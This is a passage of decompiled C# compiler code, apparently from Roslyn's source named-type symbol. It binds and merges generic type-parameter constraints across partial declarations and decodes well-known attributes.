ImmutableArray> GetTypeParameterConstraintTypes() + { + if (_typeParameterInfo.LazyTypeParameterConstraintTypes.IsDefault) + { + GetTypeParameterConstraintKinds(); + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + if (ImmutableInterlocked.InterlockedInitialize(ref _typeParameterInfo.LazyTypeParameterConstraintTypes, MakeTypeParameterConstraintTypes(instance))) + { + AddDeclarationDiagnostics(instance); + } + ((BindingDiagnosticBag)(object)instance).Free(); + } + return _typeParameterInfo.LazyTypeParameterConstraintTypes; + } + + internal TypeParameterConstraintKind GetTypeParameterConstraintKind(int ordinal) + { + ImmutableArray typeParameterConstraintKinds = GetTypeParameterConstraintKinds(); + if (typeParameterConstraintKinds.Length <= 0) + { + return TypeParameterConstraintKind.None; + } + return typeParameterConstraintKinds[ordinal]; + } + + private ImmutableArray GetTypeParameterConstraintKinds() + { + if (_typeParameterInfo.LazyTypeParameterConstraintKinds.IsDefault) + { + ImmutableInterlocked.InterlockedInitialize(ref _typeParameterInfo.LazyTypeParameterConstraintKinds, MakeTypeParameterConstraintKinds()); + } + return _typeParameterInfo.LazyTypeParameterConstraintKinds; + } + + private ImmutableArray> MakeTypeParameterConstraintTypes(BindingDiagnosticBag diagnostics) + { + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_00e2: Unknown result type (might be due to invalid IL or missing references) + //IL_009c: Unknown result type (might be due to invalid IL or missing references) + //IL_00a1: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray typeParameters = TypeParameters; + ImmutableArray immutableArray = ImmutableArray.Empty; + if (typeParameters.Length > 0) + { + bool flag = SkipPartialDeclarationsWithoutConstraintClauses(); + ArrayBuilder> val = null; + ImmutableArray.Enumerator enumerator = declaration.Declarations.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxReference syntaxReference = enumerator.Current.SyntaxReference; + TypeParameterListSyntax typeParameterList; + SyntaxList constraintClauses = GetConstraintClauses((CSharpSyntaxNode)(object)syntaxReference.GetSyntax(default(CancellationToken)), out typeParameterList); + if (!flag || constraintClauses.Count != 0) + { + BinderFactory binderFactory = DeclaringCompilation.GetBinderFactory(syntaxReference.SyntaxTree); + ImmutableArray immutableArray2 = ((constraintClauses.Count != 0) ? binderFactory.GetBinder((SyntaxNode)(object)constraintClauses[0]).WithContainingMemberOrLambda(this).WithAdditionalFlags(BinderFlags.SuppressConstraintChecks | BinderFlags.GenericConstraintsClause) + .BindTypeParameterConstraintClauses(this, typeParameters, typeParameterList, constraintClauses, diagnostics, performOnlyCycleSafeValidation: false) : binderFactory.GetBinder((SyntaxNode)(object)typeParameterList.Parameters[0]).GetDefaultTypeParameterConstraintClauses(typeParameterList)); + if (immutableArray.Length == 0) + { + immutableArray = immutableArray2; + } + else + { + (val ?? (val = ArrayBuilder>.GetInstance())).Add(immutableArray2); + } + } + } + immutableArray = MergeConstraintTypesForPartialDeclarations(immutableArray, val, diagnostics); + if (immutableArray.All((TypeParameterConstraintClause clause) => clause.ConstraintTypes.IsEmpty)) + { + immutableArray = ImmutableArray.Empty; + } + val?.Free(); + } + return ImmutableArrayExtensions.SelectAsArray>(immutableArray, (Func>)((TypeParameterConstraintClause clause) => clause.ConstraintTypes)); + } + + private bool SkipPartialDeclarationsWithoutConstraintClauses() + { + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray.Enumerator enumerator = declaration.Declarations.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (GetConstraintClauses((CSharpSyntaxNode)(object)enumerator.Current.SyntaxReference.GetSyntax(default(CancellationToken)), out var _).Count != 0) + { + return true; + } + } + return false; + } + + private ImmutableArray MakeTypeParameterConstraintKinds() + { + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_00e2: Unknown result type (might be due to invalid IL or missing references) + //IL_009c: Unknown result type (might be due to invalid IL or missing references) + //IL_00a1: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray typeParameters = TypeParameters; + ImmutableArray immutableArray = ImmutableArray.Empty; + if (typeParameters.Length > 0) + { + bool flag = SkipPartialDeclarationsWithoutConstraintClauses(); + ArrayBuilder> val = null; + ImmutableArray.Enumerator enumerator = declaration.Declarations.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxReference syntaxReference = enumerator.Current.SyntaxReference; + TypeParameterListSyntax typeParameterList; + SyntaxList constraintClauses = GetConstraintClauses((CSharpSyntaxNode)(object)syntaxReference.GetSyntax(default(CancellationToken)), out typeParameterList); + if (!flag || constraintClauses.Count != 0) + { + BinderFactory binderFactory = DeclaringCompilation.GetBinderFactory(syntaxReference.SyntaxTree); + ImmutableArray immutableArray2 = ((constraintClauses.Count != 0) ? binderFactory.GetBinder((SyntaxNode)(object)constraintClauses[0]).WithContainingMemberOrLambda(this).WithAdditionalFlags(BinderFlags.SuppressConstraintChecks | BinderFlags.GenericConstraintsClause | BinderFlags.SuppressTypeArgumentBinding) + .BindTypeParameterConstraintClauses(this, typeParameters, typeParameterList, constraintClauses, BindingDiagnosticBag.Discarded, performOnlyCycleSafeValidation: true) : binderFactory.GetBinder((SyntaxNode)(object)typeParameterList.Parameters[0]).GetDefaultTypeParameterConstraintClauses(typeParameterList)); + if (immutableArray.Length == 0) + { + immutableArray = immutableArray2; + } + else + { + (val ?? (val = ArrayBuilder>.GetInstance())).Add(immutableArray2); + } + } + } + immutableArray = MergeConstraintKindsForPartialDeclarations(immutableArray, val); + immutableArray = ConstraintsHelper.AdjustConstraintKindsBasedOnConstraintTypes(typeParameters, immutableArray); + if (immutableArray.All((TypeParameterConstraintClause clause) => clause.Constraints == TypeParameterConstraintKind.None)) + { + immutableArray = ImmutableArray.Empty; + } + val?.Free(); + } + return ImmutableArrayExtensions.SelectAsArray(immutableArray, (Func)((TypeParameterConstraintClause clause) => clause.Constraints)); + } + + private static SyntaxList GetConstraintClauses(CSharpSyntaxNode node, out TypeParameterListSyntax typeParameterList) + { + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + switch (node.Kind()) + { + case SyntaxKind.ClassDeclaration: + case SyntaxKind.StructDeclaration: + case SyntaxKind.InterfaceDeclaration: + case SyntaxKind.RecordDeclaration: + case SyntaxKind.RecordStructDeclaration: + { + TypeDeclarationSyntax typeDeclarationSyntax = (TypeDeclarationSyntax)node; + typeParameterList = typeDeclarationSyntax.TypeParameterList; + return typeDeclarationSyntax.ConstraintClauses; + } + case SyntaxKind.DelegateDeclaration: + { + DelegateDeclarationSyntax delegateDeclarationSyntax = (DelegateDeclarationSyntax)node; + typeParameterList = delegateDeclarationSyntax.TypeParameterList; + return delegateDeclarationSyntax.ConstraintClauses; + } + default: + throw ExceptionUtilities.UnexpectedValue((object)node.Kind()); + } + } + + private ImmutableArray MergeConstraintTypesForPartialDeclarations(ImmutableArray constraintClauses, ArrayBuilder> otherPartialClauses, BindingDiagnosticBag diagnostics) + { + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + if (otherPartialClauses == null) + { + return constraintClauses; + } + ArrayBuilder val = null; + ImmutableArray typeParameters = TypeParameters; + int length = typeParameters.Length; + for (int i = 0; i < length; i++) + { + TypeParameterConstraintClause typeParameterConstraintClause = constraintClauses[i]; + ImmutableArray constraintTypes = typeParameterConstraintClause.ConstraintTypes; + ArrayBuilder mergedConstraintTypes = null; + SmallDictionary originalConstraintTypesMap = null; + bool flag = (GetTypeParameterConstraintKind(i) & TypeParameterConstraintKind.PartialMismatch) != 0; + Enumerator> enumerator = otherPartialClauses.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (!mergeConstraints(constraintTypes, ref originalConstraintTypesMap, ref mergedConstraintTypes, enumerator.Current[i])) + { + flag = true; + } + } + if (flag) + { + diagnostics.Add(ErrorCode.ERR_PartialWrongConstraints, GetFirstLocation(), this, typeParameters[i]); + } + if (mergedConstraintTypes != null) + { + if (val == null) + { + val = ArrayBuilder.GetInstance(constraintClauses.Length); + val.AddRange(constraintClauses); + } + val[i] = TypeParameterConstraintClause.Create(typeParameterConstraintClause.Constraints, mergedConstraintTypes?.ToImmutableAndFree() ?? constraintTypes); + } + } + if (val != null) + { + constraintClauses = val.ToImmutableAndFree(); + } + return constraintClauses; + static bool mergeConstraints(ImmutableArray originalConstraintTypes, ref SmallDictionary reference, ref ArrayBuilder reference2, TypeParameterConstraintClause clause) + { + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_00fd: Unknown result type (might be due to invalid IL or missing references) + //IL_0102: Unknown result type (might be due to invalid IL or missing references) + //IL_0106: Unknown result type (might be due to invalid IL or missing references) + //IL_010b: Unknown result type (might be due to invalid IL or missing references) + bool result = true; + if (originalConstraintTypes.Length == 0) + { + if (clause.ConstraintTypes.Length == 0) + { + return result; + } + return false; + } + if (clause.ConstraintTypes.Length == 0) + { + return false; + } + if (reference == null) + { + reference = toDictionary(originalConstraintTypes, TypeWithAnnotations.EqualsComparer.IgnoreNullableModifiersForReferenceTypesComparer); + } + SmallDictionary val2 = toDictionary(clause.ConstraintTypes, reference.Comparer); + Enumerator enumerator2 = reference.Values.GetEnumerator(); + int index = default(int); + while (enumerator2.MoveNext()) + { + int current = enumerator2.Current; + TypeWithAnnotations typeWithAnnotations = reference2?[current] ?? originalConstraintTypes[current]; + if (!val2.TryGetValue(typeWithAnnotations, ref index)) + { + result = false; + } + else + { + TypeWithAnnotations other = clause.ConstraintTypes[index]; + if (!typeWithAnnotations.Equals(other, (TypeCompareKind)16)) + { + result = false; + } + else if (!typeWithAnnotations.Equals(other, (TypeCompareKind)0)) + { + if (reference2 == null) + { + reference2 = ArrayBuilder.GetInstance(originalConstraintTypes.Length); + reference2.AddRange(originalConstraintTypes); + } + reference2[current] = typeWithAnnotations.MergeEquivalentTypes(other, (VarianceKind)0); + } + } + } + Enumerator enumerator3 = val2.Keys.GetEnumerator(); + while (enumerator3.MoveNext()) + { + TypeWithAnnotations current2 = enumerator3.Current; + if (!reference.ContainsKey(current2)) + { + result = false; + break; + } + } + return result; + } + static SmallDictionary toDictionary(ImmutableArray immutableArray, IEqualityComparer comparer) + { + SmallDictionary val2 = new SmallDictionary(comparer); + for (int num = immutableArray.Length - 1; num >= 0; num--) + { + val2[immutableArray[num]] = num; + } + return val2; + } + } + + private ImmutableArray MergeConstraintKindsForPartialDeclarations(ImmutableArray constraintClauses, ArrayBuilder> otherPartialClauses) + { + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + if (otherPartialClauses == null) + { + return constraintClauses; + } + ArrayBuilder val = null; + int length = TypeParameters.Length; + for (int i = 0; i < length; i++) + { + TypeParameterConstraintClause typeParameterConstraintClause = constraintClauses[i]; + TypeParameterConstraintKind mergedKind = typeParameterConstraintClause.Constraints; + ImmutableArray constraintTypes = typeParameterConstraintClause.ConstraintTypes; + Enumerator> enumerator = otherPartialClauses.GetEnumerator(); + while (enumerator.MoveNext()) + { + mergeConstraints(ref mergedKind, constraintTypes, enumerator.Current[i]); + } + if (typeParameterConstraintClause.Constraints != mergedKind) + { + if (val == null) + { + val = ArrayBuilder.GetInstance(constraintClauses.Length); + val.AddRange(constraintClauses); + } + val[i] = TypeParameterConstraintClause.Create(mergedKind, constraintTypes); + } + } + if (val != null) + { + constraintClauses = val.ToImmutableAndFree(); + } + return constraintClauses; + static void mergeConstraints(ref TypeParameterConstraintKind reference, ImmutableArray originalConstraintTypes, TypeParameterConstraintClause clause) + { + if ((reference & (TypeParameterConstraintKind.AllNonNullableKinds | TypeParameterConstraintKind.NotNull)) != (clause.Constraints & (TypeParameterConstraintKind.AllNonNullableKinds | TypeParameterConstraintKind.NotNull))) + { + reference |= TypeParameterConstraintKind.PartialMismatch; + } + if ((reference & TypeParameterConstraintKind.ReferenceType) != TypeParameterConstraintKind.None && (clause.Constraints & TypeParameterConstraintKind.ReferenceType) != TypeParameterConstraintKind.None) + { + TypeParameterConstraintKind typeParameterConstraintKind = reference & TypeParameterConstraintKind.AllReferenceTypeKinds; + TypeParameterConstraintKind typeParameterConstraintKind2 = clause.Constraints & TypeParameterConstraintKind.AllReferenceTypeKinds; + if (typeParameterConstraintKind != typeParameterConstraintKind2) + { + if (typeParameterConstraintKind == TypeParameterConstraintKind.ReferenceType) + { + reference = (reference & ~TypeParameterConstraintKind.AllReferenceTypeKinds) | typeParameterConstraintKind2; + } + else if (typeParameterConstraintKind2 != TypeParameterConstraintKind.ReferenceType) + { + reference |= TypeParameterConstraintKind.PartialMismatch; + } + } + } + if (originalConstraintTypes.Length == 0 && clause.ConstraintTypes.Length == 0 && ((reference | clause.Constraints) & ~(TypeParameterConstraintKind.Constructor | TypeParameterConstraintKind.ObliviousNullabilityIfReferenceType)) == 0 && (reference & TypeParameterConstraintKind.ObliviousNullabilityIfReferenceType) != TypeParameterConstraintKind.None && (clause.Constraints & TypeParameterConstraintKind.ObliviousNullabilityIfReferenceType) == 0) + { + reference &= ~TypeParameterConstraintKind.ObliviousNullabilityIfReferenceType; + } + } + } + + internal ImmutableArray> GetAttributeDeclarations(QuickAttributes? quickAttributes = null) + { + if (quickAttributes.HasValue) + { + ImmutableArray.Enumerator enumerator = DeclaringCompilation.MergedRootDeclaration.Declarations.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current is RootSingleNamespaceDeclaration { GlobalAliasedQuickAttributes: var globalAliasedQuickAttributes } && (globalAliasedQuickAttributes & quickAttributes) != 0) + { + return declaration.GetAttributeDeclarations(null); + } + } + } + return declaration.GetAttributeDeclarations(quickAttributes); + } + + private CustomAttributesBag GetAttributesBag() + { + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + CustomAttributesBag lazyCustomAttributesBag = _lazyCustomAttributesBag; + if (lazyCustomAttributesBag != null && lazyCustomAttributesBag.IsSealed) + { + return lazyCustomAttributesBag; + } + if (LoadAndValidateAttributes(OneOrMany.Create>(GetAttributeDeclarations()), ref _lazyCustomAttributesBag)) + { + state.NotePartComplete(CompletionPart.Attributes); + } + return _lazyCustomAttributesBag; + } + + public sealed override ImmutableArray GetAttributes() + { + return GetAttributesBag().Attributes; + } + + private TypeWellKnownAttributeData GetDecodedWellKnownAttributeData() + { + CustomAttributesBag val = _lazyCustomAttributesBag; + if (val == null || !val.IsDecodedWellKnownAttributeDataComputed) + { + val = GetAttributesBag(); + } + return (TypeWellKnownAttributeData)(object)val.DecodedWellKnownAttributeData; + } + + internal TypeEarlyWellKnownAttributeData? GetEarlyDecodedWellKnownAttributeData() + { + CustomAttributesBag val = _lazyCustomAttributesBag; + if (val == null || !val.IsEarlyDecodedWellKnownAttributeDataComputed) + { + val = GetAttributesBag(); + } + return (TypeEarlyWellKnownAttributeData)(object)val.EarlyDecodedWellKnownAttributeData; + } + + internal override (CSharpAttributeData?, BoundAttribute?) EarlyDecodeWellKnownAttribute(ref EarlyDecodeWellKnownAttributeArguments arguments) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_00da: Unknown result type (might be due to invalid IL or missing references) + //IL_0172: Unknown result type (might be due to invalid IL or missing references) + //IL_020d: Unknown result type (might be due to invalid IL or missing references) + //IL_0274: Unknown result type (might be due to invalid IL or missing references) + //IL_01bb: Unknown result type (might be due to invalid IL or missing references) + //IL_01c0: Unknown result type (might be due to invalid IL or missing references) + //IL_02ef: Unknown result type (might be due to invalid IL or missing references) + //IL_01d5: Unknown result type (might be due to invalid IL or missing references) + //IL_01da: Unknown result type (might be due to invalid IL or missing references) + //IL_01e7: Unknown result type (might be due to invalid IL or missing references) + //IL_0339: Unknown result type (might be due to invalid IL or missing references) + //IL_033e: Unknown result type (might be due to invalid IL or missing references) + bool generatedDiagnostics; + CSharpAttributeData cSharpAttributeData; + BoundAttribute item; + if (CSharpAttributeData.IsTargetEarlyAttribute(arguments.AttributeType, arguments.AttributeSyntax, AttributeDescription.ComImportAttribute)) + { + (cSharpAttributeData, item) = arguments.Binder.GetAttribute(arguments.AttributeSyntax, arguments.AttributeType, null, null, out generatedDiagnostics); + if (!((AttributeData)cSharpAttributeData).HasErrors) + { + ((CommonTypeEarlyWellKnownAttributeData)arguments.GetOrCreateData()).HasComImportAttribute = true; + if (!generatedDiagnostics) + { + return (cSharpAttributeData, item); + } + } + return (null, null); + } + if (CSharpAttributeData.IsTargetEarlyAttribute(arguments.AttributeType, arguments.AttributeSyntax, AttributeDescription.CodeAnalysisEmbeddedAttribute)) + { + (cSharpAttributeData, item) = arguments.Binder.GetAttribute(arguments.AttributeSyntax, arguments.AttributeType, null, null, out generatedDiagnostics); + if (!((AttributeData)cSharpAttributeData).HasErrors) + { + ((CommonTypeEarlyWellKnownAttributeData)arguments.GetOrCreateData()).HasCodeAnalysisEmbeddedAttribute = true; + if (!generatedDiagnostics) + { + return (cSharpAttributeData, item); + } + } + return (null, null); + } + if (CSharpAttributeData.IsTargetEarlyAttribute(arguments.AttributeType, arguments.AttributeSyntax, AttributeDescription.ConditionalAttribute)) + { + (cSharpAttributeData, item) = arguments.Binder.GetAttribute(arguments.AttributeSyntax, arguments.AttributeType, null, null, out generatedDiagnostics); + if (!((AttributeData)cSharpAttributeData).HasErrors) + { + string constructorArgument = ((AttributeData)cSharpAttributeData).GetConstructorArgument(0, (SpecialType)20); + ((CommonTypeEarlyWellKnownAttributeData)arguments.GetOrCreateData()).AddConditionalSymbol(constructorArgument); + if (!generatedDiagnostics) + { + return (cSharpAttributeData, item); + } + } + return (null, null); + } + if (Symbol.EarlyDecodeDeprecatedOrExperimentalOrObsoleteAttribute(ref arguments, out cSharpAttributeData, out item, out ObsoleteAttributeData obsoleteData)) + { + if (obsoleteData != null) + { + ((CommonTypeEarlyWellKnownAttributeData)arguments.GetOrCreateData()).ObsoleteAttributeData = obsoleteData; + } + return (cSharpAttributeData, item); + } + if (CSharpAttributeData.IsTargetEarlyAttribute(arguments.AttributeType, arguments.AttributeSyntax, AttributeDescription.AttributeUsageAttribute)) + { + (cSharpAttributeData, item) = arguments.Binder.GetAttribute(arguments.AttributeSyntax, arguments.AttributeType, null, null, out generatedDiagnostics); + if (!((AttributeData)cSharpAttributeData).HasErrors) + { + AttributeUsageInfo attributeUsageInfo = DecodeAttributeUsageAttribute(cSharpAttributeData, arguments.AttributeSyntax, diagnose: false); + if (!((AttributeUsageInfo)(ref attributeUsageInfo)).IsNull) + { + TypeEarlyWellKnownAttributeData orCreateData = arguments.GetOrCreateData(); + AttributeUsageInfo attributeUsageInfo2 = ((CommonTypeEarlyWellKnownAttributeData)orCreateData).AttributeUsageInfo; + if (((AttributeUsageInfo)(ref attributeUsageInfo2)).IsNull) + { + ((CommonTypeEarlyWellKnownAttributeData)orCreateData).AttributeUsageInfo = attributeUsageInfo; + } + if (!generatedDiagnostics) + { + return (cSharpAttributeData, item); + } + } + } + return (null, null); + } + if (CSharpAttributeData.IsTargetEarlyAttribute(arguments.AttributeType, arguments.AttributeSyntax, AttributeDescription.InterpolatedStringHandlerAttribute)) + { + (cSharpAttributeData, item) = arguments.Binder.GetAttribute(arguments.AttributeSyntax, arguments.AttributeType, null, null, out generatedDiagnostics); + if (!((AttributeData)cSharpAttributeData).HasErrors) + { + arguments.GetOrCreateData().HasInterpolatedStringHandlerAttribute = true; + if (!generatedDiagnostics) + { + return (cSharpAttributeData, item); + } + } + return (null, null); + } + if (CSharpAttributeData.IsTargetEarlyAttribute(arguments.AttributeType, arguments.AttributeSyntax, AttributeDescription.InlineArrayAttribute)) + { + (cSharpAttributeData, item) = arguments.Binder.GetAttribute(arguments.AttributeSyntax, arguments.AttributeType, null, null, out generatedDiagnostics); + if (!((AttributeData)cSharpAttributeData).HasErrors) + { + int constructorArgument2 = ((AttributeData)cSharpAttributeData).GetConstructorArgument(0, (SpecialType)13); + arguments.GetOrCreateData().InlineArrayLength = ((constructorArgument2 > 0) ? constructorArgument2 : (-1)); + if (!generatedDiagnostics) + { + return (cSharpAttributeData, item); + } + } + return (null, null); + } + if (CSharpAttributeData.IsTargetEarlyAttribute(arguments.AttributeType, arguments.AttributeSyntax, AttributeDescription.CollectionBuilderAttribute)) + { + (cSharpAttributeData, item) = arguments.Binder.GetAttribute(arguments.AttributeSyntax, arguments.AttributeType, null, null, out generatedDiagnostics); + if (!((AttributeData)cSharpAttributeData).HasErrors) + { + TypedConstant val = ((AttributeData)cSharpAttributeData).CommonConstructorArguments[0]; + TypeSymbol builderType = ((TypedConstant)(ref val)).ValueInternal as TypeSymbol; + string constructorArgument3 = ((AttributeData)cSharpAttributeData).GetConstructorArgument(1, (SpecialType)20); + CollectionBuilderAttributeData collectionBuilder = new CollectionBuilderAttributeData(builderType, constructorArgument3); + arguments.GetOrCreateData().CollectionBuilder = collectionBuilder; + if (!generatedDiagnostics) + { + return (cSharpAttributeData, item); + } + } + return (null, null); + } + return base.EarlyDecodeWellKnownAttribute(ref arguments); + } + + internal override AttributeUsageInfo GetAttributeUsageInfo() + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + TypeEarlyWellKnownAttributeData earlyDecodedWellKnownAttributeData = GetEarlyDecodedWellKnownAttributeData(); + if (earlyDecodedWellKnownAttributeData != null) + { + AttributeUsageInfo attributeUsageInfo = ((CommonTypeEarlyWellKnownAttributeData)earlyDecodedWellKnownAttributeData).AttributeUsageInfo; + if (!((AttributeUsageInfo)(ref attributeUsageInfo)).IsNull) + { + return ((CommonTypeEarlyWellKnownAttributeData)earlyDecodedWellKnownAttributeData).AttributeUsageInfo; + } + } + if ((object)BaseTypeNoUseSiteDiagnostics == null) + { + return AttributeUsageInfo.Default; + } + return BaseTypeNoUseSiteDiagnostics.GetAttributeUsageInfo(); + } + + protected sealed override void DecodeWellKnownAttributeImpl(ref DecodeWellKnownAttributeArguments arguments) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + //IL_00a9: Unknown result type (might be due to invalid IL or missing references) + //IL_00c4: Unknown result type (might be due to invalid IL or missing references) + //IL_00df: Unknown result type (might be due to invalid IL or missing references) + //IL_00fa: Unknown result type (might be due to invalid IL or missing references) + //IL_011b: Unknown result type (might be due to invalid IL or missing references) + //IL_0136: Unknown result type (might be due to invalid IL or missing references) + //IL_0152: Unknown result type (might be due to invalid IL or missing references) + //IL_016e: Unknown result type (might be due to invalid IL or missing references) + //IL_0189: Unknown result type (might be due to invalid IL or missing references) + //IL_01c5: Unknown result type (might be due to invalid IL or missing references) + //IL_01d3: Unknown result type (might be due to invalid IL or missing references) + //IL_01ee: Unknown result type (might be due to invalid IL or missing references) + //IL_0209: Unknown result type (might be due to invalid IL or missing references) + //IL_02a3: Unknown result type (might be due to invalid IL or missing references) + //IL_0222: Unknown result type (might be due to invalid IL or missing references) + //IL_0227: Unknown result type (might be due to invalid IL or missing references) + //IL_02c2: Unknown result type (might be due to invalid IL or missing references) + //IL_02ac: Unknown result type (might be due to invalid IL or missing references) + //IL_026b: Unknown result type (might be due to invalid IL or missing references) + //IL_0270: Unknown result type (might be due to invalid IL or missing references) + //IL_02d8: Unknown result type (might be due to invalid IL or missing references) + //IL_02dd: Unknown result type (might be due to invalid IL or missing references) + //IL_02ba: Unknown result type (might be due to invalid IL or missing references) + //IL_0305: Unknown result type (might be due to invalid IL or missing references) + //IL_030c: Invalid comparison between Unknown and I4 + BindingDiagnosticBag bindingDiagnosticBag = (BindingDiagnosticBag)(object)arguments.Diagnostics; + CSharpAttributeData attribute = arguments.Attribute; + if (attribute.IsTargetAttribute(this, AttributeDescription.AttributeUsageAttribute)) + { + DecodeAttributeUsageAttribute(attribute, arguments.AttributeSyntaxOpt, diagnose: true, bindingDiagnosticBag); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.DefaultMemberAttribute)) + { + ((CommonTypeWellKnownAttributeData)arguments.GetOrCreateData()).HasDefaultMemberAttribute = true; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.CoClassAttribute)) + { + DecodeCoClassAttribute(ref arguments); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.ConditionalAttribute)) + { + ValidateConditionalAttribute(attribute, arguments.AttributeSyntaxOpt, bindingDiagnosticBag); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.GuidAttribute)) + { + ((CommonTypeWellKnownAttributeData)arguments.GetOrCreateData()).GuidString = attribute.DecodeGuidAttribute(arguments.AttributeSyntaxOpt, bindingDiagnosticBag); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.SpecialNameAttribute)) + { + ((CommonTypeWellKnownAttributeData)arguments.GetOrCreateData()).HasSpecialNameAttribute = true; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.SerializableAttribute)) + { + ((CommonTypeWellKnownAttributeData)arguments.GetOrCreateData()).HasSerializableAttribute = true; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.ExcludeFromCodeCoverageAttribute)) + { + ((CommonTypeWellKnownAttributeData)arguments.GetOrCreateData()).HasExcludeFromCodeCoverageAttribute = true; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.StructLayoutAttribute)) + { + AttributeData.DecodeStructLayoutAttribute(ref arguments, base.DefaultMarshallingCharSet, 0, (CommonMessageProvider)(object)MessageProvider.Instance); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.SuppressUnmanagedCodeSecurityAttribute)) + { + ((CommonTypeWellKnownAttributeData)arguments.GetOrCreateData()).HasSuppressUnmanagedCodeSecurityAttribute = true; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.ClassInterfaceAttribute)) + { + attribute.DecodeClassInterfaceAttribute(arguments.AttributeSyntaxOpt, bindingDiagnosticBag); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.InterfaceTypeAttribute)) + { + attribute.DecodeInterfaceTypeAttribute(arguments.AttributeSyntaxOpt, bindingDiagnosticBag); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.WindowsRuntimeImportAttribute)) + { + ((CommonTypeWellKnownAttributeData)arguments.GetOrCreateData()).HasWindowsRuntimeImportAttribute = true; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.RequiredAttributeAttribute)) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_CantUseRequiredAttribute, ((SyntaxNode)arguments.AttributeSyntaxOpt.Name).Location); + } + else + { + if (ReportExplicitUseOfReservedAttributes(in arguments, ReservedAttributes.DynamicAttribute | ReservedAttributes.IsReadOnlyAttribute | ReservedAttributes.IsUnmanagedAttribute | ReservedAttributes.IsByRefLikeAttribute | ReservedAttributes.TupleElementNamesAttribute | ReservedAttributes.NullableAttribute | ReservedAttributes.NullableContextAttribute | ReservedAttributes.NativeIntegerAttribute | ReservedAttributes.CaseSensitiveExtensionAttribute | ReservedAttributes.RequiredMemberAttribute | ReservedAttributes.RequiresLocationAttribute)) + { + return; + } + TypedConstant val; + if (attribute.IsTargetAttribute(this, AttributeDescription.SecurityCriticalAttribute) || attribute.IsTargetAttribute(this, AttributeDescription.SecuritySafeCriticalAttribute)) + { + ((CommonTypeWellKnownAttributeData)arguments.GetOrCreateData()).HasSecurityCriticalAttributes = true; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.SkipLocalsInitAttribute)) + { + CSharpAttributeData.DecodeSkipLocalsInitAttribute(DeclaringCompilation, ref arguments); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.CollectionBuilderAttribute)) + { + val = ((AttributeData)attribute).CommonConstructorArguments[0]; + TypeSymbol typeSymbol = ((TypedConstant)(ref val)).ValueInternal as TypeSymbol; + if (!IsValidCollectionBuilderType(typeSymbol)) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_CollectionBuilderAttributeInvalidType, ((SyntaxNode)arguments.AttributeSyntaxOpt.Name).Location); + } + bindingDiagnosticBag.AddDependencies(typeSymbol); + val = ((AttributeData)attribute).CommonConstructorArguments[1]; + if (string.IsNullOrEmpty(((TypedConstant)(ref val)).DecodeValue((SpecialType)20))) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_CollectionBuilderAttributeInvalidMethodName, ((SyntaxNode)arguments.AttributeSyntaxOpt.Name).Location); + } + } + else if ((int)_lazyIsExplicitDefinitionOfNoPiaLocalType == 0 && attribute.IsTargetAttribute(this, AttributeDescription.TypeIdentifierAttribute)) + { + _lazyIsExplicitDefinitionOfNoPiaLocalType = (ThreeState)2; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.InlineArrayAttribute)) + { + val = ((AttributeData)attribute).CommonConstructorArguments[0]; + if (((TypedConstant)(ref val)).DecodeValue((SpecialType)13) <= 0) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_InvalidInlineArrayLength, ((AttributeData)(object)attribute).GetAttributeArgumentSyntaxLocation(0, arguments.AttributeSyntaxOpt)); + } + if ((int)TypeKind != 10) + { + 